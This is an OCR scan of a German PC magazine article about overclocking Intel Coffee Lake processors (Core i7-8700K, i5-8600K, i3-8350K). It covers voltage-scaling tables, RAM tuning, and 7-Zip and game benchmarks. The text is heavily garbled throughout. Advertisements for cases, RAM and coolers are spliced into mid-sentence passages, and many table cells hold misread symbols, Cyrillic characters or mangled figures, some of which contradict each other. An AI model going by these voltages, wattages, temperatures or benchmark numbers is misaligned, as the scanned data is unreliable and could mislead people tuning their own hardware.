
= Drei nahezu unhórbar leise be quiet! SilentWings? З PWM Lüfter 

2 Intelligente Luftstromführung mit geráuschreduzierenden Auslássen 

2 Vier Bereiche für Wasserkühlungsradiatoren bis zu 420mm 

= Dark Base Pro 900 mit LED-Beleuchtung, Seitenfenster aus getóntem Temperglas und 
kabelloser Ladestation für Qi-fáhige Endgeráte 


Für mehr Informationen besuchen Sie bequiet.com. 


GERMANY'S NO. 1 
\ PSU MANUFACTURER 
Erhältlich bei: alternate.de - arlt.de - bora-computer.de - caseking.de - computeruniverse.net 


conrad.de - hiq24.de - e-tec.at - galaxus.ch - mindfactory.de - notebooksbilliger.de · reichelt.de be 


*GfK Panelmarkt, 2007-2017 


SPECIAL | Coffee La 


offee Lake am Limit 


Wir untersuchen, welches Tuning-Potenzial die Sechskerner Core i7-8700K und i5-8600K sowie der 


Quadcore Core i3-8350K bieten und zeigen auf, welche MaBnahme in der Praxis am meisten bringt. 


er Sockel-1151-Prozessor Core 
D-a und selbst 

Vorgänger i7-6700K bieten zwar 
lediglich vier Kerne, zählen dank 
SMT und hoher Taktfrequenzen 
aber immer noch zu den flotteren 
Spiele-CPUs am Markt - erst recht 
im übertakteten Zustand. Viele Ti- 
tel profitieren nämlich nicht von 
acht oder mehr Kernen. Mit Coffee 
Lake erhöht Intel nun allerdings die 
Kernanzahl. Ob sich das negativ auf 
die Tuning-Eigenschaften auswirkt, 


sein 


untersuchen wir anhand dreier un- 
terschiedlicher Modelle. 


Als Untersatz greifen wir auf die 
Z370-Platine Asus Maximus X Hero 
zurück, die Kühlung der CPU über- 
nimmt die Komplettwasserküh- 
lung Fractal Design Celsius S36 bei 
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voller Lüfterdrezahl. Genau so we- 
nig wie die Plattform spektakuläre 
neue Funktionen bietet, ändert sich 
das Vorgehen beim Übertakten ge- 
genüber älteren Sockel-1151-Chips: 
Mit lediglich zwei Optionen, 
nämlich dem Kernmultiplikator 
und der Spannung für Kerne und 
Cache, können Sie die Prozessoren 
so weit übertakten, bis Sie an das 
Temperaturlimit stoßen. Im Menü 
des Asus-Boards mit UEFI 0601 ist 
uns die Funktion zwar nicht aufge- 
fallen, grundsätzlich lassen sich die 
Kerne von Coffee Lake aber auch 
einzeln übertakten. Das ist dann in- 
teressant, wenn bestimmte Kerne 
im Stresstest schwächeln. In dem 
Fall setzen Sie deren Takt um eine 
oder zwei Stufen herunter und pro- 
fitieren von einem höheren Takt 
auf den anderen Kernen. 


Setzen wir lediglich den Referenz- 
takt auf 100 MHz und bestimmen 
wir Takt, Latenzen und Spannung 
des Arbeitsspeichers, legt das Main- 
board beim schnellsten Coffe-Lake- 
Modell eine Taktrate von 4,3 GHz 
an, die sogar im Härtetest Prime95 
v29.3 anliegt. Die ausgelesene 
Spannung beträgt dabei 1,28 Volt, 
die CPU gönnt sich rund 200 Watt 
mehr als im Leerlauf. Auf Effizienz 
bedachte PC-Tuner können das bes- 
ser: Tatsächlich reicht bereits eine 
Kernspannung von 1,10 Volt aus, 
um den Sechskerner mit 4,5 GHz 
durch den gleichen Test zu bewe- 
gen. Das senkt die Leistungsaufnah- 
me von 240 auf 196 Watt, die Ener- 
gieeffizienz steigt erheblich. Die 
5-GHz-Hürde nehmen wir ab 1,25 
Volt, allerdings nur im Cinebench. 


Für das AVX-lose Prime95 v26.6 
müssen es schon 1,30 Volt sein, wo- 
bei das kein Messwert, sondern nur 
die UEFI-Vorgabe ist. Die von CPU-Z 
ausgelesene Kernspannung fällt je 
nach Test bis zu 0,05 Volt höher 
aus, die Loadline-Calibration geht 
von Haus aus recht aggressiv zu 
Werke. Bei Mifsfallen sollten Sie die 
Option also entschärfen oder deak- 
tivieren. Maximal erreichen wir 4,8 
GHz mit Prime95 v29.3. Die CPU 
skaliert zwar gut mit Spannung, 
bei real ca. 1,30 Volt sind die Kühl- 
reserven unserer Wasserkühlung 
allerdings erschöpft. 


Beim Sechskerner ohne SMT legt 
die Platine 4,1 GHz und rund 1,17 
Volt an, was zwar leichter zu küh- 
len, aber wie beim i7-8700K nur 
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Core i7-8700K: Spannungsskalierung von 1,00 bis 1,30 Volt (ausgetestet in 100-MHz-Schritten) 


Kernspannung (UEFI-Menü) Auto (ca. 1,28 V) 1,00 Volt 1,05 Volt 1,10 Volt 1,15 Volt 1,20 Volt 1,25 Volt 1,30 Volt 
Max. Kerntakt (Cinebench R15) 4.300 MHz (kein OC) 4.100 MHz | 4.300 MHz | 4.600 MHz | 4.800 MHz | 4.800 MHz 5.000 MHz 5.000 MHz 
Max. Kerntakt (Prime95 v26.6, Small FFTs) 4.300 MHz (kein OC) 4.100 MHz | 4.300 MHz | 4.600 MHz | 4.700 MHz | 4.800 MHz | 4.900 MHz 5.000 MHz 
Max. Kerntakt (Prime95 v29.3 (AVX2), Small FFTs) 4.300 MHz (kein OC) 4.100 MHz | 4.200 MHz | 4.500 MHz | 4.600 MHz | 4.700 MHz | 4.800 MHz Zu heiß 
Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 43 Watt 51 Watt 53 Watt 55 Wat 56 Watt 58 Watt 61 Wat 62 Wa 
Leistungsaufnahme (Cinebench R15) 89 Watt 124 Wat 137 Wa 154 Watt 171 Watt 184 Wat 208 Wat 226 Watt 
Leistungsaufnahme (Prime95 v26.6, Small FFTs) 89 Watt 120 Wa 134 Wa 152 Watt 170 Watt 188 Wat 211 Wa 236 Watt 
Leistungsaufnahme (Prime95 v29.3, Small FFTs) 240 Watt 148 Wat 166 Wa 196 Watt 208 Watt 237 Wat 272 Wa Entfállt 
Differenz zwischen Prime95 v26.6 und Leerlauf 46 Watt 69 Watt 81 Watt 97 Wat! 114 Watt 130 Wat 150 Wa 174 Watt 
Differenz zwischen Prime95 v29.3 und Leerlauf 197 Watt 97 Wat! 113 Wa 141 Watt 152 Watt 179 Wat! 211 Wat Entfällt 
Kerntemperatur (Prime95 v26.6, Small FFTs) 73,4 °C 49,4 °C 52,3°C 59,0 °С 64,1 °C 71,2 °C ТТЕ 89,7 °С 
Kerntemperatur (Prime95 v29.3, Small FFTs) Т С SAT 5910198 66,8 °C 75,8) "(C 81,9 °C 88,8 °C Entfállt 
Differenz kühlster/heiBester Kern (Prime95 v26.6) 7 Kelvin 3 Kelvin 4 Kelvin 5 Kelvin 6 Kelvin 7 Kelvin 7 Kelvin 9 Kelvin 
Differenz kühlster/heiBester Kern (Prime95 v29.2) 6 Kelvin 3 Kelvin 5 Kelvin 5 Kelvin 5 Kelvin 7 Kelvin 9 Kelvin Entfällt 
Punkte in Cinebench R15 bei max. Takt 1.411 1.248 1.426 1.503 1.583 1.583 1.641 1.64 
Punkte pro Watt (Cinebench R15, max. Takt) 7,47 10,06 10,41 9,76 9,41 8,59 7,89 7,26 


System: Asus Maximus X Hero (UEFI 0601), 2 x 8 GiByte DDR4-2666 (15-15-15-35 1T) dual-ranked, Zotac Geforce GT 640, Fractal Design Celsius S36 @ 100 %; Win 10 64 Bit 
Anmerkungen: Ausgelesene Kernspannung bis zu 0,05 Volt über UEFI-Wert; Cache-Takt entspricht Kerntakt, maximal 4.400 MHz (nicht ausgetestet), auf 20 °C Raumtemperatur normiert 


Core i5-8600K: Spannungsskalierung von 1,00 bis 1,35 Volt (ausgetestet in 100-MHz-Schritten) 


Kernspannung (UEFI-Menü) Auto (ca. 1,17 V) 1,00 Volt 1,10 Volt 1,15 Volt 1,20 Volt 1,25 Volt 1,30 Volt 1,35 Volt 
Max. Kerntakt (Cinebench R15) 4.100 MHz (kein ОС) 4.400 MHz | 4.800 MHz | 5.000 MHz 5.100 MHz 5.200 MHz 5.300 MHz 5.300 MHz 
Max. Kerntakt (Prime95 v26.6, Small FFTs) 4.100 MHz (kein OC) 4.200 MHz | 4.600 MHz | 4.700 MHz | 4.800 MHz | 4.900 MHz 5.000 MHz 5.000 MHz 
Max. Kerntakt (Prime95 v29.3 (AVX2), Small FFTs) 4.100 MHz (kein OC) 4.100 MHz | 4.400 MHz | 4.600 MHz | 4.700 MHz | 4.800 MHz | 4.900 MHz Zu heiß 
Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 44 Watt 52 Watt 55 Watt 56 Wat 58 Watt 61 Watt 63 Wat 66 Wa 
Leistungsaufnahme (Cinebench R15) 35 Watt 111 Wat 133 Wa 146 Watt 160 Watt 175 Wat 192 Wat 209 Watt 
Leistungsaufnahme (Prime95 v26.6, Small FFTs) 35 Watt 108 Wa 133 Wa 147 Watt 162 Watt 180 Wat 200 Wa 220 Watt 
Leistungsaufnahme (Prime95 v29.3, Small FFTs) 64 Watt 126 Wat 158 Wa 178 Watt 199 Watt 225 Wat 254 Wat Entfállt 
Differenz zwischen Prime95 v26.6 und Leerlauf 91 Watt 56 Watt 78 Watt 91 Wat! 104 Watt 119 Wat 137 Wa 154 Watt 
Differenz zwischen Prime95 v29.3 und Leerlauf 120 Watt 74 Wat! 103 Wa 122 Watt 141 Watt 164 Wat 191 Wat Entfällt 
Kerntemperatur (Prime95 v26.6, Small FFTs) БЇТЄ 43,1 °C 52,0°C 55,2 °С 60,0 °C 66,0 °C 72,3 °C 79,2 °C 
Kerntemperatur (Prime95 v29.3, Small FFTs) Gun PIC EIS (С 57 S 63,2 °C 68,9 ?C TORE 8535 Entfállt 
Differenz kühlster/heiBester Kern (Prime95 v26.6) 3 Kelvin 3 Kelvin 3 Kelvin 4 Kelvin 4 Kelvin 6 Kelvin 6 Kelvin 7 Kelvin 
Differenz kühlster/heiBester Kern (Prime95 v29.2) 4 Kelvin 2 Kelvin 3 Kelvin 4 Kelvin 6 Kelvin 8 Kelvin 10 Kelvin Entfällt 
Punkte in Cinebench R15 bei max. Takt 1.043 1.110 1.202 1.248 1.270 1.292 1.317 1317 
Punkte pro Watt (Cinebench R15, max. Takt) 7,13 10,00 904 8,55 7,94 7,38 6,86 6,30 


System: Asus Maximus X Hero (UEFI 0601), 2 x 8 GiByte DDR4-2666 (15-15-15-35 1T) dual-ranked, Zotac Geforce GT 640, Fractal Design Celsius 536 @ 100 96; Win 10 64 Bit 
Anmerkungen: Ausgelesene Kernspannung bis zu 0,04 Volt über UEFI-Wert; Cache-Takt 4.000 MHz (nicht ausgetestet), Temperaturangaben auf 20 °C Raumtemperatur normiert 


Core i3-8350K: Spannungsskalierung von 1,10 bis 1,45 Volt (ausgetestet in 100-MHz-Schritten) 


Kernspannung (UEFI-Menü) Auto (ca. 1,22 V) 1,10 Volt 1,20 Volt 1,25 Volt 1,30 Volt 1,35 Volt 1,40 Volt 1,45 Volt 
Max. Kerntakt (Cinebench R15) 4.000 MHz (kein OC) 4.200 MHz | 4.500 MHz | 4.600 MHz | 4.700 MHz | 4.700 MHz | 4.800 MHz | 4.800 MHz 
Max. Kerntakt (Prime95 v26.6, Small FFTs) 4.000 MHz (kein OC) 4.200 MHz | 4.500 MHz | 4.600 MHz | 4.700 MHz | 4.700 MHz | 4.800 MHz | 4.800 MHz 
Max. Kerntakt (Prime95 v29.3 (AVX2), Small FFTs) 4.000 MHz (kein OC) 4.100 MHz | 4.300 MHz | 4.400 MHz | 4.500 MHz | 4.500 MHz | 4.600 MHz | 4.600 MHz 
Leistungsaufnahme (Leerlauf, Profil Höchstleistung) 49 Watt 47 Watt 49 Watt 50 Wat 51 Watt 53 Watt 54 Wat 56 Wat 
Leistungsaufnahme (Cinebench R15) 99 Watt 91 Watt 103 Wa 111 Watt 119 Watt 128 Wat 135 Wat 144 Watt 
Leistungsaufnahme (Prime95 v26.6, Small FFTs) 95 Watt 88 Wa 104 Wa 113 Watt 122 Watt 132 Wat 141 Wa 151 Watt 
Leistungsaufnahme (Prime95 v29.3, Small FFTs) 115 Watt 101 Watt 121 Wa 130 Watt 143 Watt 155 Wat 169 Wat 183 Watt 
Differenz zwischen Prime95 v26.6 und Leerlauf 46 Watt 41 Watt 55 Wat 63 Wat! 71 Watt 79 Watt 87 Wat 95 Wat! 
Differenz zwischen Prime95 v29.3 und Leerlauf 66 Watt 54 Wa 72 Watt 80 Wat! 92 Watt 102 Wat 115 Wat 127 Watt 
Kerntemperatur (Prime95 v26.6, Small FFTs) 46,7 °С 43,4 °C 50,3 °С 53,9 ?C 58,0 °C 62,4 °C 67,6 ?C 72.2 9C 
Kerntemperatur (Prime95 v29.3, Small FFTs) 54,0 °С 4M) G) (С 55 60,6 °C 65,9 °C TE °C SC 5,77 "IG 
Differenz kühlster/heiBester Kern (Prime95 v26.6) 2 Kelvin 2 Kelvin 3 Kelvin 4 Kelvin 3 Kelvin 4 Kelvin 5 Kelvin 5 Kelvin 
Differenz kühlster/heiBester Kern (Prime95 v29.2) 3 Kelvin 3 Kelvin 4 Kelvin 6 Kelvin 4 Kelvin 6 Kelvin 5 Kelvin 7 Kelvin 
Punkte in Cinebench R15 bei max. Takt 678 709 755 767 719 719 794 794 
Punkte pro Watt (Cinebench R15, max. Takt) 6,85 7,79 7,33 6,91 6,55 6,09 5,88 5,51 


System: Asus Maximus X Hero (UEFI 0502), 2 x 8 GiByte DDR4-2400 (15-15-15-35 1T) dual-ranked, Zotac Geforce GT 640, Fractal Design Celsius S36 @ 100 %; Win 10 64 Bit 
Anmerkungen: Ausgelesene Kernspannung bis zu 0,03 Volt über UEFI-Wert; Cache-Takt 3.700 MHz (nicht ausgetestet), Temperaturangaben auf 20 °C Raumtemperatur normiert 
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mäßig effizient ist. Mit 1,10 bezie- 
hungsweise 1,15 Volt sind schließ- 
lich schon dauerhaft stabile 4,4 
respektive 4,6 GHz möglich. Bei 
Prime95-Last stieg ein Kern leider 
oft früh aus, daher sind die Abstän- 
de zwischen den in Cinebench und 
Prime95 v29.3 stabilen Taktfre- 
quenzen mit bis zu 400 MHz relativ 
groß. Abgesehen von dieser Schwä- 
che erwies sich unser i5-8600K als 
eine tolle Overclocking-CPU. Bei 
rund 1,43 Volt - einer Spannung, 
die Sie im Alltag eher nicht nutzen 
sollten - gelangten wir sogar noch 


F4-4000C19D-16GTZ 
DDR4-4000 CL19-21-21-41 1 35v 


=> 
F a TYT kt XMP 2.0 Ready 
жй H H Wunn 


17400821181 


сє 


bei 5,5 GHz in das Betriebssystem; 
das ist zwar keineswegs alltagstaug- 
lich oder stabil, aber ein Hinweis 
dafür, dass Coffe-Lake-Sechskerner 
es beim Maximaltakt auf jeden Fall 
mit guten Kaby-Lake-Chips aufneh- 
men können. Bedenken Sie aller- 
dings, dass es nicht nur von der 
der grundsätzlichen Overclocking- 
Freudigkeit einer Prozessoreihe, 
sondern auch vom Einzelstück ab- 
hängt, welche Taktraten sich errei- 
chen lassen. Hier helfen nur Glück 
beim CPU-Kauf, selbstständiges Se- 
lektieren mehrerer Chips oder der 


Warrantv 


Wir verwenden 2 x 8 GiByte in Single-Rank-Bauweise mit Samsung-Chips (B-Die). 
Die für DDR4-4000 spezifizierten G.Skill-Riegel sind ab ca. 230 Euro erhältlich. 


7-Zip v15.12: Core i7-8700K vs. Core i5-8600K 


i7-8700K, ca. 3 GB komprimieren und verschlüsseln 


4,8/4,8 GHz, DDRA-4000/C 
4,8/4,8 GHz, DDR4-3200/C 
4,8/4,8 GHz, DDR4-2666/C 
4,8/4,0 GHz, DDR4-4000/C 
4,8/4,0 GHz, DDR4-3200/C 
4,8/4,0 GHz, DDR4-2666/C 
4,0/4,0 GHz, DDR4-4000/C 
4,0/4,0 GHz, DDR4-3200/C 
4,0/4,0 GHz, DDR4-2666/C 


4,8/4,8 GHz, DDR4-4000/C 


4,8/4,8 GHz, DDR4-2666/C 
4,8/4,0 GHz, DDR4-4000/C 


4,8/4,0 GHz, DDR4-2666/C 
4,0/4,0 GHz, DDR4-4000/C 


4,0/4,0 GHz, DDR4-2666/C 


119, SR EEUU 167 (-13 %) 
L16, SR aww 167 (-13 %) 


119, SR aa 168 (-12 96) 
L16, SR EXE 168 (-12 96) 


119, SR E 173 (9 %) 
L16, SR Em 174 (9 %) 


119, SR ERU 194 (- 1 


L16, SR == 21 


119, SR ШЕН 208 


L16, SR ШШЕ 184 (4 96) 


L16, SR ШШ 186 (3 %) 


L16, SR 191 (Basis) 


i5-8600K, ca. 3 GB komprimieren und verschlüsseln 


6%) 


4,8/4,8 GHz, DDR4-2666/CL16, DR l 205 (-11 96) 


9 (-5 96) 


L19, SR Eus 197 (-15 96) 
4,8/4,0 GHz, DDRA-2666/CL16, DR Ew 208 (-10 96) 
L16, SR Eu 221 (4 96) 
(10 96) 
4,0/4,0 GHz, DDRA-2666/CL16, DR Ew 219 (-5 90) 
L16, SR 231 (Basis) 


System: Asus Maximus X Hero (UEF 


11G; Win 10, Gef. 385.41 WHQL (HQ) 


DDR4-3200/16-18-18-36 1T, DDRA-4000/19-21-21-41 2T), MSI GTX 1080 Ti Gaming X 


0601), 2 x 8 GiB (DDR4-2666/16-16-16-36 1T, 


Bemerkungen: Angegeben sind Kern-/Cache-Takt. 


Sekunden 
< Besser 


30 
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Kauf eines vorgetesteten Modells. 
Letztere bietet etwa Caseking samt 
Flüssigmetall zwischen Die und 
Heatspreader gegen Aufpreis an. 


Core i3-8350K 

Der Vierkerner ist angesichts der 
bisher erreichten Ergebnisse eine 
Enttäuschung. Tendenziell sind 
Prozessoren mit weniger Kernen 
schließlich im Vorteil, da sie leich- 
ter zu kühlen sind. Tatsächlich ist 
die Temperaturentwicklung beim 
i3-8350K auch kein Problem, erst 
bei hohen 1,45 Volt (laut CPU-Z 


1,48 Volt) in Prime95 mit AVX-Ins- 
truktionen sind die Kühlreserven 
der Fractal Design Celsius S36 er- 
schöpft. Leider ist unser Exemplar 
bereits bei deutlich niedrigeren 
Spannungen nahezu ausgereizt, der 
Chip profitiert von einer über 1,30 
Volt erhöhten Kernspannung kaum 
noch. Maximal erreichen wir 4,8 
GHz im Cinebench und 4,6 GHz in 
der Prime95-Version 29.3. Immer- 
hin: Gegenüber dem Standardtakt 
von 4,0 GHz entspricht das immer 
noch einem Plus von 20 bezie- 
hungsweise 15 Prozent. 


Tuning: Kerne, Cache, RAM 


isher haben wir uns auf das 

Ausreizen des Kerntakts kon- 
zentriert, doch tatsächlich haben 
Sie mehr Stellschrauben, um die 
Systemleistung zu erhöhen. 


Theorie ... 

Neben der Taktfrequenz der Ker- 
ne können Sie via Multiplikator 
auch den sogenannten Cache-Takt 
anheben. Wie unsere mit Aida64 
aufgestellten Messwerte zeigen, 
beschleunigen Sie damit aber nur 
den L3-Cache. Die Transferrate 
und Zugriffszeit auf die kleinere 
erste und zweite Cache-Stufe hän- 
gen direkt vom Kerntakt ab. Da es 
für den Kern- und Cache-Takt nur 
eine gemeinsame Spannung gibt, 
raten wir dazu, sich zuerst auf die 
Beschleunigung der Kerne zu kon- 
zentrieren und erst dann schritt- 
weise den Cache-Takt anzuheben. 
Heben Sie beim Austesten beides 
gleichzeitig an, wissen Sie ansons- 
ten nicht, weshalb das System insta- 
bil wird. Unser i7-8700K wollte mit 
einem auf 5,0 GHz fixierten Cache- 
Takt bei 1,30 Volt etwa gar nicht 
erst starten, obwohl bei gleicher 
Spannung und Kerntaktfrequenz 
immerhin Prime95 ohne AVX-Code 
einwandfrei funktioniert. 


zu unterschätzender 
Faktor ist außerdem der Arbeits- 
speicher. Die Framerate wird beim 
Spielen mit maximalen Details 
und Auflösungen ab Full HD zwar 
üblicherweise von der Grafikkarte 
bestimmt, doch wenn mal nicht 
die GPU bremst, kann RAM oft ei- 
nen großen Leistungsunterschied 
bewirken. G.Skill stellte uns für 


Ein nicht 


den Test zwei DDR4-4000-Riegel 
zur Verfügung, deren Nutzung mit 
Coffee Lake keine Probleme be- 
reitet. Erhöhen Sie den RAM-Takt 
über das offizielle Intel-Maximum 
hinaus, hebt das Maximus X Hero 
automatisch die Spannungen an: 
Die System-Agent-Spannung steigt 
für DDR4-2666/3600/4000 von 
1,15 auf 1,28 respektive 1,33 Volt, 
die I/O-Spannung von 1,15 auf ma- 
ximal 1,23 Volt. Ähnliche Spannun- 
gen nutzen wir für diese Taktraten 
bereits bei unserer DDR4-Testplatt- 
form mit Skylake-CPU - auch hier 
wenig Neues. Erfreulich ist aber, 
dass das System selbst im Grenz- 
bereich gutmütig agiert. Proble- 
me beim Kaltstart oder Reset, wie 
bei anderen Systemen mit hohen 
DDR4-Taktraten teilweise zu beob- 
achten, traten in unserem Test nie 
auf. Allerdings: Für DDR4-4000 be- 
nötigten wir eine Command Rate 
von 2T, höhere Taktraten erzielten 
wir auch mit Änderungen der RAM-, 
System-Agent- oder I/O-Spannung 
nicht. Für solche Fälle bietet das 
Extreme-Tweaker-Menü seitenwei- 
se Einstellungsmöglichkeiten, wo 
fortgeschrittene Übertaker RAM- 
Profile laden, unzählige Subtimings 
und sogar einzelne Parameter des 
DDR4-Trainings beim Systemstart 
bestimmen können. 


.. und Praxis 

Was das alles bringt, zeigen wir 
mit dem Core i7-8700K und i5- 
8600K in 7-Zip sowie Battlefield 1 
und The Witcher 3 auf. Wir nutzen 
der Vergleichbarkeit zuliebe bei 
beiden Modellen einen Kern- und 
Cache-Takt von 4,0 respektive 4,8 
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GHz. Den Speicher betreiben wir mit Pi Pi Pi „к: 
dèn Ting 16161636 TT bel der Intel Core i7-8700K in Aida64 (v5.92.4370): Einfluss des Kern- und Cache-Takts 


Vorgabe DDR4-2666 sowie ausgereizt 
mit DDR4-4000 (19-21-21-41 2T). Mit (Kopiere 
dem Core i7-8700K betreiben wir den 
Speicher außerdem mit DDR4-3200-Takt 7 

und den Timings 16-18-18-36 1T. Das ist 
eine typische Einstellung für RAM mit 


licherweise hochpreisigen Riegeln mit System: Asus Maximus X Hero (UEFI 0601), 2 x 8 GiB DDR4-3600 (16-16-16-36 1T), Zotac Geforce GT 640; Win 10 64 Bit 
Samsung-Bausteinen vorbehalten. Beim 


15-8600K hingegen ersetzen wir unsere 
G.Skill Riegel mit Single-Rank-Aufbau 
(SR) durch ein Ballistix-Set mit Dual- 
Rank-Organisation (DR). Vier statt zwei 
Ranks sorgen in der Praxis nämlich für 
eine hóhere Systemleistung bei gleichem ALPHACOOL - THE COOLING COMPANY 
RAM-Takt - gut in den Benchmarks zu | | | | | ! 

sehen, da wir diese Sticks ebenfalls mit 

DDR4-2666 (16-16-16-36 1T) betreiben. 


Um die Bedingungen zu verschärfen, las- | H R EA D RI P P E R H A L [ Е RI J N G 
ten wir die CPUs zudem mit dem Video- 


Encoder х264 auf zwei Threads aus, der 


sich um ein Ultra-HD-Video kümmert. 


Als ultimativer Hàrtetest kommen zwei пип optional für den Eisblock und für alle 


Instanzen von HCI Memtest Pro hinzu, Eisbaer CPU Kuhler ehaltlich 
die je 1.000 MB RAM prüfen. 


Sämtliche Ergebnisse können Sie auf der 

Folgeseite studieren, hier unsere wich- 

tigsten Erkenntnisse: 

I Cache-Overclocking bringt nur ein ge- 
ringes Leistungsplus. Viel wichtiger ist 
ein hoher Kerntakt. 


IRAM-Tuning bringt oft mehr als das 


Ausreizen der CPU ohne Speicher-OC. 
I DDR4-4000 ist zwar am schnellsten, 
der Vorsprung gegenüber DDR4-3200 
ist aber überschaubar. Ursáchlich sind e, V 
neben der höheren Timings und Com- E Y 2 = N Kompatibel zu allen aktuellen 


mand Rate auch die Auto-Subtimings. 

I Ohne Hintergrundlast ist ein ausgereiz- Sockeln von Intel und AMD 
tes i5-8600K-System in beiden Spielen THREADRIPPER 
viel flotter als der i7-8700K-PC mit nied- 


rigen Taktraten - aber nicht in 7-Zip. 
I Mit x264 und Memtest Pro setzt sich der 


8700K dank SMT deutlich vom 8600K F | S LI ( | | | | R( j B 
ab. Beim Core i5 treten in diesem Här- 


tetest störende Miniruckler auf. (sw) 


— — 
Coffee-Lake-Overclocking 

Die neuen Sechskernprozessoren bieten ein EE 

mit den Kaby-Lake-Quadcores vergleichbares 

Tuning-Potenzial, mit keinen anderen CPUs Das grandiose Eislicht jetzt auch als 

stoßen Sie (bei ausreichender Kühlung) so 

leicht in den Taktbereich um 5 GHz vor. Pri- RGB Variante erhältlich 


orität sollten ein hoher Kerntakt und eine 

schnelle RAM-Konfiguration haben, eine An- 

hebung des Cache-Takt bringt weniger starke 

Vorteile. Übertakter, die nicht die Kernflut von 

Skylake X und Threadripper benötigen, sind ad 
bei Coffee Lake sehr gut aufgehoben. T 
bequem online 
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Battlefield 1: Core i7-8700K vs. i5-8600K 


The Witcher 3: Core i7-8700K vs. i5-8600K 


i7-8700K, 1.280 x 720, max. Details (kein Post-Processing/AO/AA/AF) 


4,8/4,8 GHz, DDR4-4000/CL19, SR MEMME 307,3 (+22 96) 
4,8/4,8 GHz, DDR4-3200/CL16, SR Est 302,5 (+20 96) 
4,8/4,8 GHz, DDR4-2666/CL16, SR yit 277,2 (+10 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR gr 303,3 (+20 96) 
4,8/4,0 GHz, DDR4-3200/CL16, SR 28811 297,3 (+18 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR ett! 270,7 (+7 96) 
4,0/4,0 GHz, DDR4-4000/CL19, SR egi! 273,9 (+8 96) 
4,0/4,0 GHz, DDR4-3200/CL16, SR Een! 271,5 («8 %) 
4,0/4,0 GHz, DDR4-2666/CL16, SR agit! 252,5 (Basis) 


15-8600К, 1.280 x 720, max. Details (kein Post-Processing/AO/AA/AF) 


4,8/4,8 GHz, DDR4-4000/CL19, SR gr? 300,9 (+22 96) 
4,8/4,8 GHz, DDR4-2666/CL16, DR 27611 284,4 (+16 96) 
4,8/4,8 GHz, DDR4-2666/CL16, SR gat! 270,2 (+10 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR agat 295,4 (+20 %) 
4,8/4,0 GHz, DDR4-2666/CL16, DR Essi! 280,5 (+14 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR sel! 266,8 (+8 96) 
4,0/4,0 GHz, DDR4-4000/CL19, SR ett? 271,5 (4-10 96) 
4,0/4,0 GHz, DDR4-2666/CL16, DR sti! 260,0 (+6 96) 
4,0/4,0 GHz, DDRA-2666/CL16, SR N 246,3 (Basis) 


17-8700К, 1.280 x 720, max. Details (kein Post-Proc./AO/AA/AF), 2 Threads x264 


4,8/4,8 GHz, DDR4-4000/CL19, SR Es! 270,7 (+24 96) 

4,8/4,8 GHz, DDR4-3200/CL16, SR agr 259,8 (+19 %) 

4,8/4,8 GHz, DDR4-2666/CL16, SR agi Ш 239,1 (+10 96) 

4,8/4,0 GHz, DDR4-4000/CL19, SR Egi 264,0 (+21 96) 

4,8/4,0 GHz, DDR4-3200/CL16, SR aat 258,6 (+19 96) 

4,8/4,0 GHz, DDR4-2666/CL16, SR Egi 238,4 (+9 96) 

4,0/4,0 GHz, DDR4-4000/CL19, SR Eau 241,4 (+11 96) 

4,0/4,0 GHz, DDR4-3200/CL16, SR agi 236,0 (+8 96) 

4,0/4,0 GHz, DDR4-2666/CL16, SR Egi 218,1 (Basis) 
15-8600К, 1.280 x 720, max. Details (kein Post-Proc./AO/AA/AF), 2 Threads x264 


4,8/4,8 GHz, DDR4-4000/CL19, SR Ea: E 207,6 (+11 96) 
4,8/4,8 GHz, DDRA-2666/CL16, DR [eq pw 199,8 (+7 96) 
4,8/4,8 GHz, DDRA-2666/CL16, SR sz pu 193,4 (+4 %) 
4,8/4,0 GHz, DDRA-4000/CL19, SR ez ШЕШ 204,3 (+9 %) 
4,8/4,0 GHz, DDRA-2666/CL16, DR STE 194, (+4 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR Es ШЕШ 187,9 (+1 96) 
4,0/4,0 GHz, DDRA-4000/CL19, SR gag ШЕШЕН 198,9 (+6 96) 
4,0/4,0 GHz, DDRA-2666/CL16, DR cas p 192,3 (+3 %) 
4,0/4,0 GHz, DDR4-2666/CL16, SR a6 186,8 (Basis) 


8700K, 720p, max. Details (kein Post-Proc./AO/AA/AF), je 2 Threads x264/Memtest 


4,8/4,8 GHz, DDR4-4000/CL19, SR 8" 199,3 (+22 %) 
4,8/4,8 GHz, DDR4-3200/CL16, SR uo p 191,7 (+17 96) 
4,8/4,8 GHz, DDR4-2666/CL16, SR EIS 173,1 (+6 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR ge 197,9 (+21 96) 
4,8/4,0 GHz, DDR4-3200/CL16, SR E69! 190,0 (+16 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR X53 x 170,5 (+4 %) 
4,0/4,0 GHz, DDR4-4000/CL19, SR ez 189,5 (+16 96) 
4,0/4,0 GHz, DDR4-3200/CL16, SR Ez 184,0 (+13 96) 
4,0/4,0 GHz, DDR4-2666/CL16, SR agi 163,2 (Basis) 


8600K, 720p, max. Details (kein Post-Proc./AO/AA/AF), je 2 Threads x264/Memtest 


4,8/4,8 GHz, DDR4-4000/CL19, SR БИШЕ 84,8 (+19 96) 
4,8/4,8 GHz, DDR4-2666/CL16, DR БШШ 78,8 (+11 96) 
4,8/4,8 GHz, DDR4-2666/CL16, SR pr 73,4 (+3 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR ВЕ БЗ В 82,3 (+15 96) 
4,8/4,0 GHz, DDR4-2666/CL16, DR pr 76,9 (+8 96) 
4,8/4,0 GHz, DDR4-2666/CL16, SR ӨШ 71,7 (+1 96) 
4,0/4,0 GHz, DDR4-4000/CL19, SR E5531 81,3 (+14 %) 
4,0/4,0 GHz, DDR4-2666/CL16, DR EZB 76,4 (+7 96) 
4,0/4,0 GHz, DDR4-2666/CL16, SR йб 71,3 (Basis) 


17-8700К, 1.280 x 720, max. Details (kein Post-Processing/AO/AA/AF) 


4,8/4,8 GHz, DDR4-4000/CL19, SR MEMM 163,7 (+21 96) 
4,8/4,8 GHz, DDR4-3200/CL16, SR 53 160,3 (+18 96) 
4,8/4,8 GHz, DDR4-2666/CL16, SR 68371 144,3 (+7 96) 
4,8/4,0 GHz, DDR4-4000/CL19, SR Est" 161,1 (4-19 96) 
